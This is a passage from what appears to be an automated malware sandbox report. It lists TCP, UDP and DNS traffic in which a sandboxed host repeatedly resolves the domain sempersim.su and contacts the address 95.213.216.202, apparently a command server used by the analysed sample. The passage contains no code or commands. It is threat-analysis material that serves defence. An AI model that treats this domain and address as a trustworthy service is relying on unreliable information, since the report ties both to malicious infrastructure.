Nov 30, 2022 00:56:01.794126987 CET	49759	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:56:01.794150114 CET	49759	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:56:01.850579977 CET	80	49759	95.213.216.202	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2022 00:54:06.875981092 CET	49977	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:07.240958929 CET	53	49977	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:09.401173115 CET	57840	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:09.420834064 CET	53	57840	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:11.706173897 CET	57990	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:12.468837023 CET	53	57990	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:14.412322998 CET	52387	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:14.780765057 CET	53	52387	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:16.879287004 CET	56924	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:16.898757935 CET	53	56924	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:18.863516092 CET	60625	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:18.881309032 CET	53	60625	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:20.078244925 CET	49302	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:20.096685886 CET	53	49302	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:22.160619020 CET	53975	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:22.415709972 CET	53	53975	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:24.370686054 CET	51139	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:24.639362097 CET	53	51139	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:26.705693960 CET	52955	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:26.723373890 CET	53	52955	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:28.778636932 CET	60582	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:29.064884901 CET	53	60582	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:31.820801973 CET	57134	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:31.840390921 CET	53	57134	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:33.763792038 CET	62050	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:33.781332970 CET	53	62050	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:35.894645929 CET	56042	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:35.912352085 CET	53	56042	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:37.879678965 CET	59636	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:37.897547007 CET	53	59636	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:39.891168118 CET	55638	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:39.908864975 CET	53	55638	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:41.979608059 CET	57704	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:41.997195005 CET	53	57704	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:43.751688957 CET	65320	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:43.768886089 CET	53	65320	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:45.460011959 CET	60767	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:45.479480982 CET	53	60767	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:47.470066071 CET	65107	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:47.487802982 CET	53	65107	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:49.539402962 CET	53848	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:49.559163094 CET	53	53848	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:51.528645039 CET	57571	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:51.546144009 CET	53	57571	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:53.455722094 CET	58691	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:53.473742008 CET	53	58691	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:54.648302078 CET	53305	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:54.668741941 CET	53	53305	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:56.376061916 CET	59433	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:56.395571947 CET	53	59433	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:58.103972912 CET	60749	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:58.123743057 CET	53	60749	8.8.8.8	192.168.2.3
Nov 30, 2022 00:54:59.841953039 CET	56949	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:54:59.861439943 CET	53	56949	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:01.596754074 CET	52547	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:01.613591909 CET	53	52547	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:03.396282911 CET	53844	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:03.413459063 CET	53	53844	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:05.186135054 CET	65017	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:05.205918074 CET	53	65017	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:06.970989943 CET	53466	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:06.988650084 CET	53	53466	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:08.735474110 CET	57743	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:08.753017902 CET	53	57743	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:10.547934055 CET	53623	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:10.565411091 CET	53	53623	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:12.379224062 CET	61416	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:12.396709919 CET	53	61416	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:14.166464090 CET	65196	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:14.183665037 CET	53	65196	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:15.985743046 CET	58708	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:16.003206015 CET	53	58708	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:17.784200907 CET	59581	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:17.801747084 CET	53	59581	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:19.563471079 CET	53049	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:19.582814932 CET	53	53049	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:21.529314041 CET	60088	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:21.547068119 CET	53	60088	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:23.368357897 CET	63562	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:23.385291100 CET	53	63562	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:25.189213991 CET	53428	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:25.206536055 CET	53	53428	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:27.103034019 CET	65511	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:27.120949030 CET	53	65511	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:29.162121058 CET	59820	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:29.179055929 CET	53	59820	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:31.020256042 CET	64595	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:31.039771080 CET	53	64595	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:32.870194912 CET	52079	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:32.889683008 CET	53	52079	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:34.318233967 CET	64823	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:34.335309029 CET	53	64823	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:36.286011934 CET	51992	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:36.303749084 CET	53	51992	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:38.197046041 CET	58119	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:38.214360952 CET	53	58119	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:40.126117945 CET	49166	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:40.145720959 CET	53	49166	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:42.001540899 CET	58301	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:42.019203901 CET	53	58301	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:43.898413897 CET	63446	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:43.915456057 CET	53	63446	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:45.675020933 CET	49874	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:45.694405079 CET	53	49874	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:47.178193092 CET	65459	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:47.198072910 CET	53	65459	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:49.289719105 CET	65385	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:49.307233095 CET	53	65385	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:51.152832031 CET	54153	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:51.172306061 CET	53	54153	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:53.393349886 CET	64602	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:53.412369013 CET	53	64602	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:55.557055950 CET	50784	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:55.574852943 CET	53	50784	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:57.444180012 CET	64121	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:57.463988066 CET	53	64121	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:58.869049072 CET	64967	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:58.886452913 CET	53	64967	8.8.8.8	192.168.2.3
Nov 30, 2022 00:55:59.940840960 CET	60825	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:55:59.957931995 CET	53	60825	8.8.8.8	192.168.2.3
Nov 30, 2022 00:56:00.958663940 CET	49201	53	192.168.2.3	8.8.8.8
Nov 30, 2022 00:56:00.977658987 CET	53	49201	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 30, 2022 00:54:06.875981092 CET	192.168.2.3	8.8.8.8	0x6188	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:09.401173115 CET	192.168.2.3	8.8.8.8	0x5d3b	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:11.706173897 CET	192.168.2.3	8.8.8.8	0xb7e8	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:14.412322998 CET	192.168.2.3	8.8.8.8	0x4082	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:16.879287004 CET	192.168.2.3	8.8.8.8	0x22b9	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:18.863516092 CET	192.168.2.3	8.8.8.8	0xeaac	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:20.078244925 CET	192.168.2.3	8.8.8.8	0x28fb	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:22.160619020 CET	192.168.2.3	8.8.8.8	0xee98	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:24.370686054 CET	192.168.2.3	8.8.8.8	0x2624	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:26.705693960 CET	192.168.2.3	8.8.8.8	0x5477	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:28.778636932 CET	192.168.2.3	8.8.8.8	0xdecc	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:31.820801973 CET	192.168.2.3	8.8.8.8	0x1c2d	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:33.763792038 CET	192.168.2.3	8.8.8.8	0xf2e6	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:35.894645929 CET	192.168.2.3	8.8.8.8	0x1fc5	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:37.879678965 CET	192.168.2.3	8.8.8.8	0xbad	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:39.891168118 CET	192.168.2.3	8.8.8.8	0x785c	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:41.979608059 CET	192.168.2.3	8.8.8.8	0xabaf	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:43.751688957 CET	192.168.2.3	8.8.8.8	0x692b	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:45.460011959 CET	192.168.2.3	8.8.8.8	0x4377	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:47.470066071 CET	192.168.2.3	8.8.8.8	0xbe7a	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:49.539402962 CET	192.168.2.3	8.8.8.8	0x9c9a	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:51.528645039 CET	192.168.2.3	8.8.8.8	0xb58	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:53.455722094 CET	192.168.2.3	8.8.8.8	0xdac7	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:54.648302078 CET	192.168.2.3	8.8.8.8	0xaacd	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:56.376061916 CET	192.168.2.3	8.8.8.8	0x479c	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:58.103972912 CET	192.168.2.3	8.8.8.8	0xea9f	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:59.841953039 CET	192.168.2.3	8.8.8.8	0x16e7	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:01.596754074 CET	192.168.2.3	8.8.8.8	0x35c4	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:03.396282911 CET	192.168.2.3	8.8.8.8	0x8db7	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:05.186135054 CET	192.168.2.3	8.8.8.8	0xa497	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:06.970989943 CET	192.168.2.3	8.8.8.8	0x67db	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:08.735474110 CET	192.168.2.3	8.8.8.8	0x7db5	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:10.547934055 CET	192.168.2.3	8.8.8.8	0x1fa1	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:12.379224062 CET	192.168.2.3	8.8.8.8	0x4f02	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:14.166464090 CET	192.168.2.3	8.8.8.8	0x4ab6	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:15.985743046 CET	192.168.2.3	8.8.8.8	0x3921	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:17.784200907 CET	192.168.2.3	8.8.8.8	0xc7dc	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:19.563471079 CET	192.168.2.3	8.8.8.8	0x46b9	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:21.529314041 CET	192.168.2.3	8.8.8.8	0x213	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:23.368357897 CET	192.168.2.3	8.8.8.8	0x1d07	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:25.189213991 CET	192.168.2.3	8.8.8.8	0x6e37	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:27.103034019 CET	192.168.2.3	8.8.8.8	0xea01	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:29.162121058 CET	192.168.2.3	8.8.8.8	0x4235	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:31.020256042 CET	192.168.2.3	8.8.8.8	0xa106	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:32.870194912 CET	192.168.2.3	8.8.8.8	0x86ee	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:34.318233967 CET	192.168.2.3	8.8.8.8	0x2d83	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:36.286011934 CET	192.168.2.3	8.8.8.8	0xbdf8	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:38.197046041 CET	192.168.2.3	8.8.8.8	0x23f4	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:40.126117945 CET	192.168.2.3	8.8.8.8	0x856e	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:42.001540899 CET	192.168.2.3	8.8.8.8	0x3a49	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:43.898413897 CET	192.168.2.3	8.8.8.8	0x4c7e	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:45.675020933 CET	192.168.2.3	8.8.8.8	0xd354	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:47.178193092 CET	192.168.2.3	8.8.8.8	0x8af6	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:49.289719105 CET	192.168.2.3	8.8.8.8	0xc369	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:51.152832031 CET	192.168.2.3	8.8.8.8	0xe950	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:53.393349886 CET	192.168.2.3	8.8.8.8	0x9913	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:55.557055950 CET	192.168.2.3	8.8.8.8	0x2074	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:57.444180012 CET	192.168.2.3	8.8.8.8	0x2543	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:58.869049072 CET	192.168.2.3	8.8.8.8	0x92c3	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:59.940840960 CET	192.168.2.3	8.8.8.8	0x3488	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:56:00.958663940 CET	192.168.2.3	8.8.8.8	0x58c4	Standard query (0)	sempersim.su	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 30, 2022 00:54:07.240958929 CET	8.8.8.8	192.168.2.3	0x6188	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:09.420834064 CET	8.8.8.8	192.168.2.3	0x5d3b	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:12.468837023 CET	8.8.8.8	192.168.2.3	0xb7e8	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:14.780765057 CET	8.8.8.8	192.168.2.3	0x4082	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:16.898757935 CET	8.8.8.8	192.168.2.3	0x22b9	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:18.881309032 CET	8.8.8.8	192.168.2.3	0xeaac	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:20.096685886 CET	8.8.8.8	192.168.2.3	0x28fb	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:22.415709972 CET	8.8.8.8	192.168.2.3	0xee98	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:24.639362097 CET	8.8.8.8	192.168.2.3	0x2624	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:26.723373890 CET	8.8.8.8	192.168.2.3	0x5477	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:29.064884901 CET	8.8.8.8	192.168.2.3	0xdecc	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:31.840390921 CET	8.8.8.8	192.168.2.3	0x1c2d	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:33.781332970 CET	8.8.8.8	192.168.2.3	0xf2e6	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:35.912352085 CET	8.8.8.8	192.168.2.3	0x1fc5	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:37.897547007 CET	8.8.8.8	192.168.2.3	0xbad	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:39.908864975 CET	8.8.8.8	192.168.2.3	0x785c	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:41.997195005 CET	8.8.8.8	192.168.2.3	0xabaf	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:43.768886089 CET	8.8.8.8	192.168.2.3	0x692b	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:45.479480982 CET	8.8.8.8	192.168.2.3	0x4377	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:47.487802982 CET	8.8.8.8	192.168.2.3	0xbe7a	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:49.559163094 CET	8.8.8.8	192.168.2.3	0x9c9a	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:51.546144009 CET	8.8.8.8	192.168.2.3	0xb58	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:53.473742008 CET	8.8.8.8	192.168.2.3	0xdac7	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:54.668741941 CET	8.8.8.8	192.168.2.3	0xaacd	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:56.395571947 CET	8.8.8.8	192.168.2.3	0x479c	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:58.123743057 CET	8.8.8.8	192.168.2.3	0xea9f	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:54:59.861439943 CET	8.8.8.8	192.168.2.3	0x16e7	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:01.613591909 CET	8.8.8.8	192.168.2.3	0x35c4	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:03.413459063 CET	8.8.8.8	192.168.2.3	0x8db7	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:05.205918074 CET	8.8.8.8	192.168.2.3	0xa497	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:06.988650084 CET	8.8.8.8	192.168.2.3	0x67db	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:08.753017902 CET	8.8.8.8	192.168.2.3	0x7db5	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:10.565411091 CET	8.8.8.8	192.168.2.3	0x1fa1	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:12.396709919 CET	8.8.8.8	192.168.2.3	0x4f02	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:14.183665037 CET	8.8.8.8	192.168.2.3	0x4ab6	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:16.003206015 CET	8.8.8.8	192.168.2.3	0x3921	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:17.801747084 CET	8.8.8.8	192.168.2.3	0xc7dc	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:19.582814932 CET	8.8.8.8	192.168.2.3	0x46b9	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:21.547068119 CET	8.8.8.8	192.168.2.3	0x213	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:23.385291100 CET	8.8.8.8	192.168.2.3	0x1d07	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:25.206536055 CET	8.8.8.8	192.168.2.3	0x6e37	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:27.120949030 CET	8.8.8.8	192.168.2.3	0xea01	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:29.179055929 CET	8.8.8.8	192.168.2.3	0x4235	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:31.039771080 CET	8.8.8.8	192.168.2.3	0xa106	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:32.889683008 CET	8.8.8.8	192.168.2.3	0x86ee	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:34.335309029 CET	8.8.8.8	192.168.2.3	0x2d83	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:36.303749084 CET	8.8.8.8	192.168.2.3	0xbdf8	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:38.214360952 CET	8.8.8.8	192.168.2.3	0x23f4	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:40.145720959 CET	8.8.8.8	192.168.2.3	0x856e	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:42.019203901 CET	8.8.8.8	192.168.2.3	0x3a49	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:43.915456057 CET	8.8.8.8	192.168.2.3	0x4c7e	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:45.694405079 CET	8.8.8.8	192.168.2.3	0xd354	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:47.198072910 CET	8.8.8.8	192.168.2.3	0x8af6	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:49.307233095 CET	8.8.8.8	192.168.2.3	0xc369	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:51.172306061 CET	8.8.8.8	192.168.2.3	0xe950	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
